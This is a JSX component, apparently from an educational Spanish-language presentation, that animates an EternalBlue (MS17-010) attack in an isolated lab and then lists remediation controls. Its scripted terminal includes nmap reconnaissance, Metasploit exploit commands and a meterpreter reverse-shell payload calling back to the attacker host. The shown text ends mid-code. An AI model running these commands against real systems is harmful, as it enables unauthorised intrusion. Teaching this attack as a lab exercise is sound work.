/* world-panel.jsx — el lado derecho, recreado como DOM nativo y responsivo.
   Recibe t (segundos narrativos 0..122) desde el scroll y dibuja la escena
   correspondiente. Sin <video>, sin canvas escalado, sin barra de reproducción. */
(function () {
  const DUR = [7, 10, 13, 12, 10, 11, 15, 13, 9, 14, 8];
  const NAMES = ['Apertura', 'Laboratorio', 'Reconocimiento', 'Deteccion', 'Contexto',
                 'PrimerIntento', 'EternalBlue', 'PostExplotacion', 'Tunel', 'Controles', 'Cierre'];
  const K = {}; let acc = 0; NAMES.forEach((n, i) => { K[n] = acc; acc += DUR[i]; });
  const TOTAL = acc;

  const MONO = "'IBM Plex Mono', ui-monospace, monospace";
  const DISP = "'Bricolage Grotesque', system-ui, sans-serif";
  const C = { ink: '#e9edf1', dim: '#79828d', faint: '#4b535c', acid: '#e6ff2e',
              red: '#ff4d3d', green: '#4ade80', blue: '#6cb0ff',
              panel: '#0c0f13', chrome: '#13171d', hair: 'rgba(255,255,255,0.09)' };

  const cl = (v, a = 0, b = 1) => Math.max(a, Math.min(b, v));
  const sm = (x) => { x = cl(x); return x * x * (3 - 2 * x); };
  const ease = (t, s, d) => sm((t - s) / d);
  const win = (t, a, b, f = 0.5) => Math.min(ease(t, a - f, f), 1 - ease(t, b - f, f));

  // ── terminal script (mismo guion del video) ────────────────────────────
  const L = [];
  const add = (t, text, o) => L.push(Object.assign({ t, text }, o || {}));
  const clr = (t) => L.push({ t, clear: true, text: '' });
  const R = K.Reconocimiento, D = K.Deteccion, P = K.PrimerIntento, E = K.EternalBlue, X = K.PostExplotacion;
  add(R + 0.4, 'nmap -sS -sV -O 192.168.0.0/24', { pre: 'root@h4king:~# ', typed: 1, pc: C.acid });
  add(R + 1.9, 'Starting Nmap 7.95 ( https://nmap.org )', { c: C.dim });
  add(R + 2.5, 'Nmap scan report for 192.168.0.16');
  add(R + 2.9, 'Host is up (0.0012s latency).', { c: C.dim });
  add(R + 3.3, 'Not shown: 988 closed tcp ports (reset)', { c: C.dim });
  add(R + 3.7, 'PORT      STATE SERVICE       VERSION', { c: C.faint });
  add(R + 4.1, '135/tcp   open  msrpc         Microsoft Windows RPC');
  add(R + 4.5, '139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn');
  add(R + 4.9, '445/tcp   open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds', { c: C.acid, hl: 1 });
  add(R + 5.3, '554/tcp   open  rtsp?');
  add(R + 5.7, '2869/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)');
  add(R + 6.0, '3389/tcp  open  ms-wbt-server Microsoft Terminal Service');
  add(R + 6.3, '49152/tcp open  msrpc         Microsoft Windows RPC');
  add(R + 6.7, 'MAC Address: 08:00:27:5C:0E:FE (Oracle VirtualBox virtual NIC)', { c: C.dim });
  add(R + 7.2, 'Service Info: Host: AUDITOR-PC; OS: Windows', { c: C.dim });
  add(R + 8.0, 'Nmap done: 256 IP addresses (13 hosts up) scanned in 231.08 seconds', { c: C.green });
  clr(D + 0.15);
  add(D + 0.4, 'grep scanner search smb', { pre: 'msf6 > ', typed: 1, pc: C.acid });
  add(D + 1.9, '224  auxiliary/scanner/smb/smb_ms17_010    MS17-010 SMB RCE Detection', { c: C.acid, hl: 1 });
  add(D + 2.7, 'use auxiliary/scanner/smb/smb_ms17_010', { pre: 'msf6 > ', typed: 1, pc: C.acid });
  add(D + 4.2, 'set RHOST 192.168.0.16', { pre: 'msf6 auxiliary(smb_ms17_010) > ', typed: 1, pc: C.blue });
  add(D + 5.3, 'RHOST => 192.168.0.16', { c: C.dim });
  add(D + 5.8, 'run', { pre: 'msf6 auxiliary(smb_ms17_010) > ', typed: 1, pc: C.blue });
  add(D + 6.9, '[+] 192.168.0.16:445 - Host is likely VULNERABLE to MS17-010!', { hl: 2 });
  add(D + 7.5, '        Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)', { c: C.green });
  add(D + 8.2, '[*] 192.168.0.16:445 - Scanned 1 of 1 hosts (100% complete)');
  add(D + 8.7, '[*] Auxiliary module execution completed');
  clr(P - 0.6);
  add(P + 0.3, 'use exploit/windows/smb/ms17_010_psexec', { pre: 'msf6 > ', typed: 1, pc: C.acid });
  add(P + 1.7, '[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp');
  add(P + 2.3, 'set payload windows/meterpreter/reverse_http', { pre: 'msf6 exploit(ms17_010_psexec) > ', typed: 1, pc: C.red });
  add(P + 3.6, 'payload => windows/meterpreter/reverse_http', { c: C.dim });
  add(P + 4.0, 'set LHOST 192.168.0.17', { pre: 'msf6 exploit(ms17_010_psexec) > ', typed: 1, pc: C.red });
  add(P + 4.9, 'set LPORT 8080', { pre: 'msf6 exploit(ms17_010_psexec) > ', typed: 1, pc: C.red });
  add(P + 5.7, 'exploit', { pre: 'msf6 exploit(ms17_010_psexec) > ', typed: 1, pc: C.red });
  add(P + 6.6, '[*] Started HTTP reverse handler on http://192.168.0.17:8080');
  add(P + 7.3, '[*] 192.168.0.16:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1');
  add(P + 8.2, '[-] 192.168.0.16:445 - Unable to find accessible named pipe!', { hl: 3 });
  add(P + 8.9, '[*] Exploit completed, but no session was created.', { c: C.red });
  clr(E + 0.1);
  add(E + 0.3, 'use exploit/windows/smb/ms17_010_eternalblue', { pre: 'msf6 > ', typed: 1, pc: C.acid });
  add(E + 1.7, 'set RHOST 192.168.0.16', { pre: 'msf6 exploit(ms17_010_eternalblue) > ', typed: 1, pc: C.acid });
  add(E + 2.6, 'set payload windows/x64/meterpreter/reverse_tcp', { pre: 'msf6 exploit(ms17_010_eternalblue) > ', typed: 1, pc: C.acid });
  add(E + 3.9, 'exploit', { pre: 'msf6 exploit(ms17_010_eternalblue) > ', typed: 1, pc: C.acid });
  add(E + 4.7, '[*] Started reverse TCP handler on 192.168.0.17:4444');
  add(E + 5.3, '[*] 192.168.0.16:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check');
  add(E + 5.9, '[+] 192.168.0.16:445 - Host is likely VULNERABLE to MS17-010!');
  add(E + 6.4, '[+] 192.168.0.16:445 - The target is vulnerable.');
  add(E + 6.9, '[*] 192.168.0.16:445 - Connecting to target for exploitation.');
  add(E + 7.4, '[+] 192.168.0.16:445 - Connection established for exploitation.');
  add(E + 7.9, '[+] 192.168.0.16:445 - Target arch selected valid for arch indicated by DCE/RPC reply');
  add(E + 8.4, '[*] 192.168.0.16:445 - Trying exploit with 12 Groom Allocations.');
  add(E + 8.9, '[*] 192.168.0.16:445 - Sending all but last fragment of exploit packet');
  add(E + 9.4, '[*] 192.168.0.16:445 - Starting non-paged pool grooming');
  add(E + 9.9, '[+] 192.168.0.16:445 - Sending SMBv2 buffers');
  add(E + 10.4, '[*] 192.168.0.16:445 - Sending final SMBv2 buffers.');
  add(E + 10.9, '[*] 192.168.0.16:445 - Sending last fragment of exploit packet!');
  add(E + 11.4, '[*] 192.168.0.16:445 - Receiving response from exploit packet');
  add(E + 12.0, '[+] 192.168.0.16:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!', { hl: 2 });
  add(E + 12.7, '[*] Sending stage (203846 bytes) to 192.168.0.16');
  add(E + 13.3, '[+] 192.168.0.16:445 - =-=-=-=-=-=-=-=-=-=-=-  WIN  -=-=-=-=-=-=-=-=-=-=-=', { c: C.acid });
  add(E + 13.9, '[*] Meterpreter session 1 opened (192.168.0.17:4444 -> 192.168.0.16:49225)', { hl: 2 });
  clr(X + 0.1);
  add(X + 0.3, 'cd Desktop\\\\', { pre: 'meterpreter > ', typed: 1, pc: C.acid });
  add(X + 1.3, 'pwd', { pre: 'meterpreter > ', typed: 1, pc: C.acid });
  add(X + 1.9, 'C:\\Users\\auditor\\Desktop', { c: C.dim });
  add(X + 2.5, 'mkdir PITA', { pre: 'meterpreter > ', typed: 1, pc: C.acid });
  add(X + 3.4, 'Creating directory: PITA', { c: C.green });
  add(X + 4.0, 'dir', { pre: 'meterpreter > ', typed: 1, pc: C.acid });
  add(X + 4.8, 'Mode              Size      Type  Name', { c: C.faint });
  add(X + 5.2, '100777/rwxrwxrwx  504296    fil   Firefox Installer.exe');
  add(X + 5.5, '100666/rw-rw-rw-  89825280  fil   Firefox Setup 153.0esr.msi');
  add(X + 5.9, '040777/rwxrwxrwx  0         dir   PITA', { c: C.acid, hl: 1 });
  add(X + 6.3, '100666/rw-rw-rw-  282       fil   desktop.ini');

  const lineColor = (l) => l.c || (l.text.startsWith('[+]') ? C.green : l.text.startsWith('[-]') ? C.red
    : l.text.startsWith('[*]') ? C.blue : C.ink);

  function Terminal({ t, title, rows, small }) {
    let start = 0;
    for (let i = 0; i < L.length; i++) if (L[i].clear && L[i].t <= t) start = i + 1;
    const out = [];
    for (let i = start; i < L.length; i++) {
      const l = L[i];
      if (l.t > t) break;
      if (l.clear) continue;
      if (l.typed) {
        const d = Math.min(1.15, 0.026 * l.text.length), p = Math.min(1, (t - l.t) / d);
        out.push({ i, l, text: l.text.slice(0, Math.round(l.text.length * p)), typing: p < 1 });
      } else out.push({ i, l, text: l.text, typing: false });
    }
    const vis = out.slice(-(rows || 18));
    const fs = small ? 'clamp(8px, 0.62vw, 11px)' : 'clamp(10px, 0.86vw, 15px)';
    return (
      <div style={{
        display: 'flex', flexDirection: 'column', minHeight: 0, height: '100%',
        background: C.panel, border: `1px solid ${C.hair}`, borderRadius: 6, overflow: 'hidden',
      }}>
        <div style={{ display: 'flex', alignItems: 'center', gap: 10, padding: '9px 14px', background: C.chrome, borderBottom: `1px solid ${C.hair}` }}>
          <div style={{ display: 'flex', gap: 5 }}>
            {[C.red, '#f0b429', C.green].map((c, i) => <div key={i} style={{ width: 8, height: 8, borderRadius: 99, background: c, opacity: .75 }} />)}
          </div>
          <span style={{ font: `500 clamp(9px,0.66vw,12px) ${MONO}`, color: C.dim }}>{title}</span>
        </div>
        <div style={{ flex: 1, minHeight: 0, padding: '12px 14px', display: 'flex', flexDirection: 'column', justifyContent: 'flex-start', overflow: 'hidden' }}>
          {vis.map((r) => (
            <div key={r.i} style={{
              font: `400 ${fs}/1.55 ${MONO}`, whiteSpace: 'pre', color: r.l.hl === 2 ? C.acid : lineColor(r.l),
              background: r.l.hl === 2 ? 'rgba(230,255,46,0.13)' : r.l.hl === 3 ? 'rgba(255,77,61,0.15)' : r.l.hl === 1 ? 'rgba(230,255,46,0.07)' : 'transparent',
              boxShadow: r.l.hl ? `inset 2px 0 0 ${r.l.hl === 3 ? C.red : C.acid}` : 'none',
              paddingLeft: r.l.hl ? 8 : 0, marginLeft: r.l.hl ? -8 : 0,
            }}>
              {r.l.pre ? <span style={{ color: r.l.pc || C.acid }}>{r.l.pre}</span> : null}
              {r.text}
              {r.typing && Math.floor(t * 2.2) % 2 === 0 ? <span style={{ color: C.acid }}>█</span> : null}
            </div>
          ))}
        </div>
      </div>
    );
  }

  const Card = ({ title, accent, children, style }) => (
    <div style={Object.assign({
      background: C.panel, border: `1px solid ${C.hair}`, borderTop: `2px solid ${accent || C.hair}`,
      borderRadius: 6, padding: 'clamp(14px,1.3vw,22px)', display: 'flex', flexDirection: 'column', minHeight: 0,
    }, style)}>
      {title ? <div style={{ font: `500 clamp(9px,0.66vw,12px) ${MONO}`, letterSpacing: '.18em', color: C.dim, marginBottom: 'clamp(10px,1vw,16px)' }}>{title}</div> : null}
      {children}
    </div>
  );

  const Scene = ({ on, children, cols }) => (
    <div style={{
      position: 'absolute', inset: 0, opacity: on, visibility: on > 0.002 ? 'visible' : 'hidden',
      display: 'grid', gridTemplateColumns: cols || '1fr', gap: 'clamp(10px,1.1vw,18px)', minHeight: 0,
    }}>{children}</div>
  );

  const Node = ({ label, name, ip, accent, detail }) => (
    <div style={{ flex: 1, background: C.panel, border: `1px solid ${C.hair}`, borderLeft: `3px solid ${accent}`, borderRadius: 6, padding: 'clamp(16px,1.5vw,26px)' }}>
      <div style={{ font: `500 clamp(9px,0.62vw,12px) ${MONO}`, letterSpacing: '.2em', color: C.dim }}>{label}</div>
      <div style={{ font: `600 clamp(19px,1.7vw,30px) ${DISP}`, color: C.ink, marginTop: 8, letterSpacing: '-.02em' }}>{name}</div>
      <div style={{ font: `500 clamp(14px,1.15vw,22px) ${MONO}`, color: accent, marginTop: 10 }}>{ip}</div>
      <div style={{ font: `400 clamp(10px,0.72vw,14px) ${MONO}`, color: C.faint, marginTop: 12 }}>{detail}</div>
    </div>
  );

  const PORTS = [['135', 'msrpc'], ['139', 'netbios-ssn'], ['445', 'microsoft-ds'], ['554', 'rtsp'],
                 ['2869', 'http'], ['3389', 'ms-wbt-server'], ['49152', 'msrpc']];
  const CVES = ['CVE-2017-0143', 'CVE-2017-0144', 'CVE-2017-0145', 'CVE-2017-0146', 'CVE-2017-0147', 'CVE-2017-0148'];
  const CLASSES = [
    ['ATAQUES DE MALWARE', 'Vector de propagación de WannaCry (2017) y NotPetya: el código se replica solo de equipo a equipo.'],
    ['ATAQUES DE RED', 'Explotación remota de un servicio de red: SMB sobre el puerto 445, sin credenciales.'],
    ['ATAQUES DE APLICACIÓN', 'Desbordamiento de búfer y corrupción del pool de memoria del servicio SMBv1.'],
  ];
  const COLS = '0.62fr 1fr 1fr';
  const CLOSE = [
    ['Puerto 445 expuesto en la LAN', 'Filtrar SMB con firewall y segmentar la red'],
    ['SMBv1 habilitado en el objetivo', 'Deshabilitar SMBv1 y registrar las excepciones'],
    ['Windows 7 SP1 sin el parche MS17-010', 'Aplicar el parche y escanear los faltantes de forma periódica'],
    ['Equipo fuera del inventario de activos', 'Inventario y escaneo de vulnerabilidades recurrente'],
    ['Sesión inversa a 4444 sin detectar', 'Monitoreo IDS/IPS y revisión de conexiones salientes'],
  ];
  const NIST = [
    ['GV', 'Gobernar', 'Política de parches con responsables asignados', 'Matriz de responsables y registro de excepciones de SMBv1', false],
    ['ID', 'Identificar', 'Inventario de activos y escaneo periódico', 'Nmap y smb_ms17_010 detectan el servicio vulnerable', true],
    ['PR', 'Proteger', 'Parchear MS17-010, apagar SMBv1, filtrar el 445', 'El escáner deja de reportar el host como vulnerable', true],
    ['DE', 'Detectar', 'IDS/IPS y revisión de conexiones salientes', 'netstat muestra la sesión hacia 192.168.0.17:4444', true],
    ['RS', 'Responder', 'Aislar el host y cerrar la sesión activa', 'Registro de aislamiento e informe del incidente', false],
    ['RC', 'Recuperar', 'Restaurar desde copias verificadas y endurecer', 'Restauración probada y lecciones aprendidas', false],
  ];

  function Desktop({ t, netstat }) {
    const pita = sm((t - (X + 7.4)) / 0.8);
    const cmd = netstat ? sm((t - (K.Tunel - 0.2)) / 0.6) : 0;
    const rows = [
      ['  TCP  192.168.0.16:2869   192.168.0.11:51342  ESTABLISHED', K.Tunel + 1.4, 0],
      ['  TCP  192.168.0.16:49225  192.168.0.17:4444   ESTABLISHED', K.Tunel + 1.9, 1],
      ['  TCP  192.168.0.16:49228  142.251.34.131:80   ESTABLISHED', K.Tunel + 2.4, 0],
    ];
    const Icon = ({ label, color, ring }) => (
      <div style={{ width: 'clamp(56px,5vw,88px)', textAlign: 'center' }}>
        <div style={{ position: 'relative', width: 'clamp(30px,2.6vw,46px)', height: 'clamp(24px,2.1vw,38px)', margin: '0 auto' }}>
          <div style={{ position: 'absolute', inset: 0, top: '22%', background: color, borderRadius: 3, opacity: .93 }} />
          <div style={{ position: 'absolute', left: 0, top: '8%', width: '42%', height: '20%', background: color, borderRadius: '2px 2px 0 0' }} />
          {ring ? <div style={{ position: 'absolute', inset: '-26% -22%', border: `2px solid ${C.red}`, borderRadius: 3 }} /> : null}
        </div>
        <div style={{ font: `400 clamp(8px,0.6vw,11px) ${MONO}`, color: '#fff', marginTop: 7, textShadow: '0 1px 3px rgba(0,0,0,.8)' }}>{label}</div>
      </div>
    );
    return (
      <div style={{
        position: 'relative', borderRadius: 6, overflow: 'hidden', border: `1px solid ${C.hair}`, minHeight: 0,
        background: 'radial-gradient(120% 100% at 50% 35%, #3f95d8 0%, #1c6bb0 42%, #0a3a63 100%)',
      }}>
        <div style={{ display: 'flex', gap: 'clamp(8px,1vw,18px)', padding: 'clamp(12px,1.2vw,22px)' }}>
          <div style={{ display: 'flex', flexDirection: 'column', gap: 'clamp(10px,1.2vw,20px)' }}>
            <Icon label="Recycle Bin" color="#c9d6e4" />
            <Icon label="Firefox Installer" color="#e08b3d" />
            <Icon label="Firefox Setup" color="#8fa9c4" />
          </div>
          <div style={{ opacity: pita, transform: `scale(${0.7 + pita * 0.3})`, transformOrigin: 'center top' }}>
            <Icon label="PITA" color="#f0c674" ring={pita > 0.7} />
          </div>
        </div>
        <div style={{
          position: 'absolute', left: '22%', right: '4%', top: '30%', opacity: cmd,
          transform: `translateY(${(1 - cmd) * 18}px)`, background: '#000', border: '1px solid #7a8a99',
          borderRadius: 3, overflow: 'hidden', boxShadow: '0 18px 44px rgba(0,0,0,.5)',
        }}>
          <div style={{ padding: '5px 10px', font: `400 clamp(8px,0.6vw,11px) ${MONO}`, color: '#22303c', background: 'linear-gradient(#e9eef4,#cdd7e2)' }}>C:\Windows\system32\cmd.exe</div>
          <div style={{ padding: '10px 12px', font: `400 clamp(8px,0.66vw,12px)/1.6 ${MONO}`, color: '#e6e6e6', whiteSpace: 'pre', overflow: 'hidden' }}>
            <div>{'C:\\Users\\auditor>netstat -an | findstr ESTABLISHED'.slice(0, Math.round(50 * cl((t - (K.Tunel + 0.2)) / 0.9)))}</div>
            {rows.map(([txt, at, hot], i) => (
              <div key={i} style={{ opacity: sm((t - at) / 0.25), background: hot ? 'rgba(255,77,61,.24)' : 'transparent', color: hot ? '#fff' : '#e6e6e6' }}>{txt}</div>
            ))}
          </div>
        </div>
        <div style={{ position: 'absolute', left: 0, right: 0, bottom: 0, height: 'clamp(24px,2.2vw,38px)', background: 'linear-gradient(#2a5f8f,#14324d)', borderTop: '1px solid rgba(255,255,255,.25)', display: 'flex', alignItems: 'center', justifyContent: 'space-between', padding: '0 10px' }}>
          <div style={{ width: 'clamp(18px,1.6vw,28px)', height: '68%', borderRadius: 99, background: 'radial-gradient(circle at 35% 30%,#8fd3ff,#1c6bb0)' }} />
          <div style={{ font: `400 clamp(8px,0.6vw,11px) ${MONO}`, color: '#dbe7f2' }}>8:19 PM  8/8/2026</div>
        </div>
      </div>
    );
  }

  function ChainBar({ t }) {
    const ph = [['01', 'RECONOCIMIENTO', K.Laboratorio, K.Deteccion], ['02', 'DETECCIÓN', K.Deteccion, K.PrimerIntento],
                ['03', 'ARMADO', K.PrimerIntento, K.EternalBlue], ['04', 'EXPLOTACIÓN', K.EternalBlue, K.PostExplotacion],
                ['05', 'POST-EXPLOTACIÓN', K.PostExplotacion, K.Controles], ['06', 'CONTROLES', K.Controles, K.Cierre]];
    return (
      <div style={{ display: 'flex', gap: 'clamp(6px,0.7vw,12px)', opacity: win(t, K.Laboratorio - 0.6, K.Cierre, 0.6) }}>
        {ph.map(([n, lab, a, b]) => {
          const p = cl((t - a) / (b - a)), act = t >= a && t < b;
          return (
            <div key={n} style={{ flex: 1 }}>
              <div style={{ height: 3, background: 'rgba(255,255,255,.1)', borderRadius: 3, overflow: 'hidden' }}>
                <div style={{ height: '100%', width: `${p * 100}%`, background: act ? C.acid : p >= 1 ? 'rgba(230,255,46,.45)' : 'transparent' }} />
              </div>
              <div style={{ font: `500 clamp(7px,0.56vw,11px) ${MONO}`, letterSpacing: '.08em', marginTop: 8, color: act ? C.ink : p >= 1 ? C.dim : C.faint, whiteSpace: 'nowrap', overflow: 'hidden', textOverflow: 'ellipsis' }}>
                <span style={{ color: p > 0 ? C.acid : C.faint }}>{n}</span> {lab}
              </div>
            </div>
          );
        })}
      </div>
    );
  }

  function WorldPanel({ t }) {
    const groom = sm((t - (E + 8.4)) / 1.6), sweep = sm((t - (E + 10.4)) / 1.6), breach = sm((t - (E + 12.0)) / 0.6);
    const cells = []; for (let i = 0; i < 140; i++) cells.push(i);

    return (
      <div style={{ position: 'absolute', inset: 0, display: 'flex', flexDirection: 'column', gap: 'clamp(10px,1.4vw,22px)', padding: 'clamp(18px,2.2vw,36px) clamp(14px,2.4vw,44px) clamp(18px,2vw,34px) 0', minHeight: 0 }}>
        <div style={{ position: 'relative', flex: 1, minHeight: 0 }}>
          {/* Apertura */}
          <Scene on={win(t, 0, K.Laboratorio, 0.6)}>
            <div style={{ display: 'flex', flexDirection: 'column', justifyContent: 'center', gap: 'clamp(14px,1.4vw,26px)' }}>
              <div style={{ font: `800 clamp(48px,6.2vw,120px) ${DISP}`, letterSpacing: '-.045em', lineHeight: .92, color: C.ink }}>
                Eternal<span style={{ color: C.acid }}>Blue</span>
              </div>
              <div style={{ display: 'flex', flexWrap: 'wrap', gap: 10 }}>
                {['MS17-010', 'CVE-2017-0144', 'SMBv1', 'RCE sin autenticación'].map((x, i) => (
                  <span key={x} style={{ opacity: sm((t - (0.6 + i * 0.5)) / 0.6), font: `500 clamp(10px,0.78vw,14px) ${MONO}`, color: C.acid, border: `1px solid rgba(230,255,46,.3)`, background: 'rgba(230,255,46,.08)', padding: '8px 14px', borderRadius: 4 }}>{x}</span>
                ))}
              </div>
            </div>
          </Scene>

          {/* Entorno */}
          <Scene on={win(t, K.Laboratorio, K.Reconocimiento, 0.6)}>
            <div style={{ display: 'flex', flexDirection: 'column', justifyContent: 'center', gap: 'clamp(12px,1.2vw,20px)' }}>
              <div style={{ font: `500 clamp(9px,0.66vw,12px) ${MONO}`, letterSpacing: '.22em', color: C.faint }}>RED AISLADA · 192.168.0.0/24</div>
              <div style={{ display: 'flex', gap: 'clamp(10px,1.2vw,22px)', alignItems: 'stretch' }}>
                <Node label="ATACANTE" name="Kali Linux" ip="192.168.0.17" accent={C.acid} detail="Nmap 7.95 · Metasploit" />
                <div style={{ width: 'clamp(40px,5vw,110px)', display: 'flex', flexDirection: 'column', justifyContent: 'center', alignItems: 'center', gap: 8 }}>
                  <div style={{ font: `500 clamp(8px,0.6vw,11px) ${MONO}`, color: C.dim, whiteSpace: 'nowrap' }}>445/tcp</div>
                  <div style={{ height: 2, width: `${sm((t - (K.Laboratorio + 1.2)) / 1.1) * 100}%`, background: 'rgba(255,255,255,.18)' }} />
                </div>
                <Node label="OBJETIVO" name="Windows 7 SP1 x64" ip="192.168.0.16" accent={C.blue} detail="SMBv1 activo · sin parche" />
              </div>
            </div>
          </Scene>

          {/* Reconocimiento */}
          <Scene on={win(t, K.Reconocimiento, K.Deteccion, 0.6)} cols="1.5fr 1fr">
            <Terminal t={t} title="root@h4king: ~ — nmap" rows={17} />
            <Card title="PUERTOS ABIERTOS · 192.168.0.16" accent={C.acid}>
              <div style={{ display: 'flex', flexDirection: 'column', gap: 'clamp(4px,0.5vw,9px)' }}>
                {PORTS.map(([p, s], i) => {
                  const e = sm((t - (R + 4.1 + i * 0.4)) / 0.4), key = p === '445';
                  return (
                    <div key={p} style={{ display: 'flex', alignItems: 'baseline', gap: 14, opacity: e, transform: `translateX(${(1 - e) * 16}px)`, background: key ? 'rgba(230,255,46,.09)' : 'transparent', padding: key ? '6px 10px' : '6px 0', margin: key ? '0 -10px' : 0, borderRadius: 4 }}>
                      <span style={{ font: `600 clamp(13px,1.05vw,21px) ${MONO}`, color: key ? C.acid : C.ink, minWidth: '3.6em' }}>{p}</span>
                      <span style={{ font: `400 clamp(10px,0.78vw,15px) ${MONO}`, color: C.dim, flex: 1 }}>{s}</span>
                      {key ? <span style={{ font: `500 clamp(8px,0.62vw,12px) ${MONO}`, color: C.acid, letterSpacing: '.14em', opacity: sm((t - (R + 5.6)) / 0.5) }}>VECTOR</span> : null}
                    </div>
                  );
                })}
              </div>
            </Card>
          </Scene>

          {/* Detección */}
          <Scene on={win(t, K.Deteccion, K.Contexto, 0.6)} cols="1.5fr 1fr">
            <Terminal t={t} title="root@h4king: ~ — msfconsole" rows={17} />
            <Card title="RESULTADO DEL ESCÁNER" accent={C.acid}>
              <div style={{ font: `500 clamp(10px,0.76vw,15px) ${MONO}`, color: C.dim }}>auxiliary/scanner/smb/smb_ms17_010</div>
              <div style={{ marginTop: 'clamp(12px,1.4vw,24px)', padding: 'clamp(14px,1.4vw,24px)', border: `2px solid ${C.acid}`, borderRadius: 6, background: 'rgba(230,255,46,.08)', opacity: sm((t - (D + 6.9)) / 0.6), transform: `scale(${0.9 + sm((t - (D + 6.9)) / 0.6) * 0.1})` }}>
                <div style={{ font: `800 clamp(26px,2.6vw,48px) ${DISP}`, color: C.acid, letterSpacing: '-.03em', lineHeight: 1 }}>VULNERABLE</div>
                <div style={{ font: `400 clamp(10px,0.8vw,15px)/1.5 ${MONO}`, color: C.ink, marginTop: 10 }}>Windows 7 Ultimate 7601<br />Service Pack 1 x64</div>
              </div>
              <div style={{ marginTop: 'clamp(10px,1vw,18px)', font: `400 clamp(10px,0.76vw,14px) ${MONO}`, color: C.dim, opacity: sm((t - (D + 8.4)) / 0.6) }}>SMBv1 habilitado · sin el parche MS17-010</div>
            </Card>
          </Scene>

          {/* Amenaza */}
          <Scene on={win(t, K.Contexto, K.PrimerIntento, 0.6)}>
            <div style={{ display: 'flex', flexDirection: 'column', justifyContent: 'center', gap: 'clamp(12px,1.3vw,22px)', minHeight: 0 }}>
              <div style={{ font: `500 clamp(9px,0.66vw,12px) ${MONO}`, letterSpacing: '.2em', color: C.dim }}>BOLETÍN MICROSOFT MS17-010 · 14 DE MARZO DE 2017</div>
              <div style={{ font: `800 clamp(34px,4.4vw,86px) ${DISP}`, color: C.acid, letterSpacing: '-.04em', lineHeight: .95 }}>CVE-2017-0144</div>
              <div style={{ display: 'flex', alignItems: 'stretch', gap: 'clamp(8px,0.9vw,16px)', opacity: sm((t - (K.Contexto + 0.5)) / 0.7) }}>
                <div style={{ display: 'flex', alignItems: 'baseline', gap: 12, padding: 'clamp(10px,1vw,18px) clamp(14px,1.3vw,24px)', border: `2px solid ${C.red}`, background: 'rgba(255,77,61,.1)', borderRadius: 6 }}>
                  <span style={{ font: `800 clamp(26px,2.6vw,50px) ${DISP}`, color: C.red, lineHeight: 1, letterSpacing: '-.03em' }}>8.1</span>
                  <span style={{ font: `500 clamp(9px,0.68vw,13px) ${MONO}`, letterSpacing: '.16em', color: C.red }}>ALTA</span>
                </div>
                <div style={{ display: 'flex', flexDirection: 'column', justifyContent: 'center', gap: 5 }}>
                  <span style={{ font: `500 clamp(8px,0.6vw,11px) ${MONO}`, letterSpacing: '.16em', color: C.faint }}>CVSS v3.0 · BASE SCORE</span>
                  <span style={{ font: `400 clamp(9px,0.68vw,13px) ${MONO}`, color: C.dim }}>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</span>
                  <span style={{ font: `400 clamp(9px,0.68vw,13px) ${MONO}`, color: C.dim }}>CVSS v2: 9.3 · Microsoft: crítica</span>
                </div>
              </div>
              <div style={{ display: 'flex', flexWrap: 'wrap', gap: 8 }}>
                {CVES.map((c, i) => {
                  const key = c === 'CVE-2017-0144', e = sm((t - (K.Contexto + 0.9 + i * 0.12)) / 0.5);
                  return <span key={c} style={{ opacity: e, font: `500 clamp(9px,0.7vw,13px) ${MONO}`, padding: '7px 12px', borderRadius: 4, border: `1px solid ${key ? C.acid : C.hair}`, color: key ? C.acid : C.dim, background: key ? 'rgba(230,255,46,.1)' : 'transparent' }}>{c}</span>;
                })}
              </div>
              <div style={{ display: 'grid', gridTemplateColumns: 'repeat(3,1fr)', gap: 'clamp(8px,0.9vw,16px)' }}>
                {CLASSES.map(([ti, de], i) => {
                  const e = sm((t - (K.Contexto + 2.1 + i * 0.35)) / 0.7);
                  return (
                    <div key={ti} style={{ opacity: e, transform: `translateY(${(1 - e) * 22}px)`, background: C.panel, border: `1px solid ${C.hair}`, borderTop: `2px solid ${C.acid}`, borderRadius: 6, padding: 'clamp(12px,1.1vw,20px)' }}>
                      <div style={{ font: `500 clamp(8px,0.6vw,11px) ${MONO}`, letterSpacing: '.16em', color: C.acid }}>{ti}</div>
                      <div style={{ font: `400 clamp(11px,0.88vw,17px)/1.45 ${DISP}`, color: C.ink, marginTop: 10, textWrap: 'pretty' }}>{de}</div>
                    </div>
                  );
                })}
              </div>
            </div>
          </Scene>

          {/* Armado */}
          <Scene on={win(t, K.PrimerIntento, K.EternalBlue, 0.6)} cols="1.5fr 1fr">
            <Terminal t={t} title="root@h4king: ~ — msfconsole" rows={17} />
            <Card title="CONFIGURACIÓN DEL ATAQUE" accent={C.red}>
              <div style={{ display: 'flex', flexDirection: 'column', gap: 'clamp(6px,0.7vw,12px)' }}>
                {[['MÓDULO', 'ms17_010_psexec', P + 0.3], ['PAYLOAD', 'meterpreter/reverse_http', P + 2.3], ['RHOSTS', '192.168.0.16', P + 1.2], ['LHOST', '192.168.0.17', P + 4.0], ['LPORT', '8080', P + 4.9]].map(([k, v, at]) => {
                  const e = sm((t - at) / 0.45);
                  return (
                    <div key={k} style={{ display: 'flex', gap: 14, opacity: e, transform: `translateX(${(1 - e) * 14}px)` }}>
                      <span style={{ font: `500 clamp(8px,0.62vw,12px) ${MONO}`, letterSpacing: '.14em', color: C.faint, minWidth: '7em' }}>{k}</span>
                      <span style={{ font: `500 clamp(10px,0.8vw,15px) ${MONO}`, color: C.ink }}>{v}</span>
                    </div>
                  );
                })}
              </div>
              <div style={{ marginTop: 'clamp(12px,1.4vw,24px)', padding: 'clamp(12px,1.2vw,20px)', border: `2px solid ${C.red}`, borderRadius: 6, background: 'rgba(255,77,61,.1)', opacity: sm((t - (P + 8.2)) / 0.5) }}>
                <div style={{ font: `800 clamp(20px,2vw,38px) ${DISP}`, color: C.red, letterSpacing: '-.02em', lineHeight: 1 }}>SIN SESIÓN</div>
